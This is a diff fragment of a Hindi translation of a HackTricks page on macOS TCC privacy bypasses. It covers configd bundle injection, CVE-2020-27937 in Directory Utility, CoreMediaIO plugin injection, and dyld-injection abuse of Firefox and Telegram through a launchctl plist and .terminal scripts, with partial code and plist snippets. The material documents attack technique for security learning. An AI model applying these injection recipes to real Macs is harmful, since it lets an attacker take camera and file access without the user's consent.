प्रक्रिया को पुनः आरंभ करें। -दूसरा POC **`/usr/libexec/configd`** का उपयोग करता है जिसमें `com.apple.private.tcc.allow` वैल्यू `kTCCServiceSystemPolicySysAdminFiles` के साथ होता है।\ -यदि कोई हमलावर **`configd`** को **`-t`** विकल्प के साथ चलाता है, तो वह एक **कस्टम Bundle लोड** कर सकता है। इसलिए, यह एक्सप्लॉइट **`dsexport`** और **`dsimport`** विधि को उपयोगकर्ता के होम डायरेक्टरी को बदलने के लिए **`configd` कोड इंजेक्शन** के साथ बदल देता है। +दूसरा POC **`/usr/libexec/configd`** का उपयोग करता है जिसमें `com.apple.private.tcc.allow` नामक मान `kTCCServiceSystemPolicySysAdminFiles` के साथ होता है।\ +यदि कोई हमलावर **`configd`** को **`-t`** विकल्प के साथ चलाता है, तो एक हमलावर एक **कस्टम Bundle** लोड कर सकता है। इसलिए, यह एक्सप्लॉइट **`dsexport`** और **`dsimport`** विधि को उपयोग करके उपयोगकर्ता के होम डायरेक्टरी को बदलने के लिए **`configd` कोड इंजेक्शन** के साथ इस्तेमाल करता है। अधिक जानकारी के लिए [**मूल रिपोर्ट**](https://www.microsoft.com/en-us/security/blog/2022/01/10/new-macos-vulnerability-powerdir-could-lead-to-unauthorized-user-data-access/) देखें। @@ -341,15 +214,17 @@ TCC उपयोगकर्ता को नियंत्रित करन {% endcontent-ref %} इसके अलावा, TCC को बाईपास करने के लिए सबसे सामान्य प्रक्रिया इंजेक्शन **प्लगइन्स (लोड पुस्तकालय)** के माध्यम से किया जाता है।\ -प्लगइन्स अतिरिक्त कोड आमतौर पर पुस्तकालय या प्लिस्ट के रूप में होते हैं, जो **मुख्य एप्लिकेशन द्वारा लोड किए जाएंगे** और इसके संदर्भ में निष्पादित होंगे। इसलिए, यदि मुख्य एप्लिकेशन को TCC प्रतिबंधित फ़ाइलों (अनुमतियों या अधिकारों के माध्यम से) का उपयोग करने की अनुमति है, तो **कस्टम कोड भी उसे होगा**। +प्लगइन्स अतिरिक्त कोड आमतौर पर पुस्तकालय या प्लिस्ट के रूप में होते हैं, जो मुख्य एप्लिकेशन द्वारा **लोड किए जाएंगे** और उसके संदर्भ में निष्पादित होंगे। इसलिए, यदि मुख्य एप्लिकेशन को TCC प्रतिबंधित फ़ाइलों (अनुमतियों या अधिकारों के माध्यम से) का उपयोग करने की अनुमति है, तो **कस्टम कोड भी उसे होगा**। ### CVE-2020-27937 - Directory Utility ऐप्लिकेशन `/System/Library/CoreServices/Applications/Directory Utility.app` में एंटाइटलमेंट **`kTCCServiceSystemPolicySysAdminFiles`**, **`.daplug`** एक्सटेंशन वाले प्लगइन्स लोड करता था और **हार्डन** रनटाइम नहीं था। -इस CVE को युद्धास्पद बनाने के लिए, **`NFSHomeDirectory`** को **बदला** जाता है (पिछले एंटाइटलमेंट का दुरुपयोग करके) ताकि उपयोगकर्ता के TCC डेटाबेस को ले लिया जा सके। +इस CVE को विकल्पीकरण करने के लिए, **`NFSHomeDirectory`** को **बदला** जाता है (पिछले एंटाइटलमेंट का दुरुपयोग करके) ताकि TCC को बाईपास करने के लिए उपयोगकर्ता के TCC डेटाबेस को **अधिकार** कर सकें। -अधिक जानकारी के लिए [**मूल रिपोर्ट**](https://wojciechregula.blog/post/change-home-directory-and +अधिक जानकारी के लिए [**मूल रिपोर्ट**](https://wojciechregula.blog/post/change-home-directory-and-bypass-tcc-aka-cve-2020-27937/) देखें। + +### CVE-2020-296 ```objectivec #import #import @@ -382,13 +257,13 @@ exit(0); कोर मीडिया I/O के माध्यम से कैमरा स्ट्रीम खोलने वाले सिस्टम एप्लिकेशन (**`kTCCServiceCamera`** वाले ऐप्स) `/Library/CoreMediaIO/Plug-Ins/DAL` में स्थित इन प्लग-इन्स को प्रक्रिया में लोड करते हैं (SIP सीमित नहीं होता है)। -वहां एक साधारित **कंस्ट्रक्टर** के साथ एक पुस्तकालय संग्रहित करना कोड **इंजेक्शन** करने के लिए काम करेगा। +वहां एक साधारित **कंस्ट्रक्टर** के साथ एक पुस्तकालय संग्रहित करना कोड **संयोजित करने** के लिए काम करेगा। इसमें कई Apple एप्लिकेशन भी संकटग्रस्त थे। ### Firefox -Firefox एप्लिकेशन में `com.apple.security.cs.disable-library-validation` और `com.apple.security.cs.allow-dyld-environment-variables` अधिकार होते थे: +Firefox एप्लिकेशन में `com.apple.security.cs.disable-library-validation` और `com.apple.security.cs.allow-dyld-environment-variables` entitlements थे: ```xml codesign -d --entitlements :- /Applications/Firefox.app Executable=/Applications/Firefox.app/Contents/MacOS/firefox @@ -422,9 +297,9 @@ Executable=/Applications/Firefox.app/Contents/MacOS/firefox ### CVE-2023-26818 - Telegram -Telegram में **`com.apple.security.cs.allow-dyld-environment-variables`** और **`com.apple.security.cs.disable-library-validation`** इंटाइटलमेंट्स थे, इसलिए इसका दुरुपयोग करके इसकी अनुमतियों तक पहुंच मिल सकती थी, जैसे कैमरे के साथ रिकॉर्डिंग करना। आप [**व्रिटअप में पेलोड ढूंढ सकते हैं**](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/)। +Telegram में **`com.apple.security.cs.allow-dyld-environment-variables`** और **`com.apple.security.cs.disable-library-validation`** इंटाइटलमेंट्स थे, इसलिए इसे दुरुपयोग करके उसकी अनुमतियों तक पहुंचना संभव था, जैसे कैमरे के साथ रिकॉर्डिंग करना। आप [**व्रिटअप में पेलोड ढूंढ सकते हैं**](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/)। -ध्यान दें कि एक **कस्टम प्लिस्ट** को इंजेक्शन करने के लिए एक एनवायरनमेंट वेरिएबल का उपयोग करने के लिए यहां एक लाइब्रेरी लोड करने के लिए बनाई गई थी और **`launchctl`** का उपयोग किया गया था: +ध्यान दें कि एक **कस्टम प्लिस्ट** इंजेक्शन के लिए एक लाइब्रेरी लोड करने के लिए एनवायरनमेंट वेरिएबल का उपयोग करने के लिए एक **कस्टम प्लिस्ट** बनाया गया था और इसे लॉन्च करने के लिए **`launchctl`** का उपयोग किया गया था: ```xml @@ -460,7 +335,7 @@ launchctl load com.telegram.launcher.plist ### टर्मिनल स्क्रिप्ट्स -टेक्निकल लोगों द्वारा उपयोग किए जाने वाले कंप्यूटरों में टर्मिनल को **पूर्ण डिस्क एक्सेस (FDA)** देना आम बात है। और इसका उपयोग करके **`.terminal`** स्क्रिप्ट्स को आवाहित करना संभव है। +टेक लोगों द्वारा उपयोग किए जाने वाले कंप्यूटरों में टर्मिनल को **पूर्ण डिस्क एक्सेस (FDA)** देना आम बात है। और इसका उपयोग करके **`.terminal`** स्क्रिप्ट्स को आवाहित करना संभव है। **`.terminal`** स्क्रिप्ट्स plist फ़ाइलें होती हैं, जैसे इसमें दिए गए कमांड को निष्पादित करने के लिए **`CommandString`** कुंजी होती है: ```xml @@ -480,7 +355,7 @@ launchctl load com.telegram.launcher.plist ``` -एक एप्लिकेशन एक ऐसी स्थान पर एक टर्मिनल स्क्रिप्ट लिख सकती है जैसे /tmp और इसे निम्नलिखित तरीके से लॉन्च कर सकती है: +एक एप्लिकेशन एक ऐसी स्थान पर एक टर्मिनल स्क्रिप्ट लिख सकती है जैसे /tmp और इसे एक ऐसे कमांड के साथ लॉन्च कर सकती है: ```objectivec // Write plist in /tmp/tcc.terminal [...] @@ -591,9 +466,9 @@ os.system("hdiutil detach /tmp/mnt 1>/dev/null") ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आप **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड** करने की इच्छा रखते हैं? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें! +* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **हैकट्रिक्स में विज्ञापित** देखना चाहते हैं? या क्या आप **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड** करने की इच्छा रखते हैं? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें! * [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) का संग्रह -* [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें +* [**आधिकारिक PEASS और HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें * **[💬](https://emojipedia.org/speech-balloon/) [Discord समूह](https://discord.gg/hRep4RUj7f) या [telegram समूह](https://t.me/peass) में शामिल हों** या मुझे **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)** का** अनुसरण करें। * **अपने हैकिंग ट्रिक्स साझा करें, PRs के माध्यम से** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **को सबमिट करके।**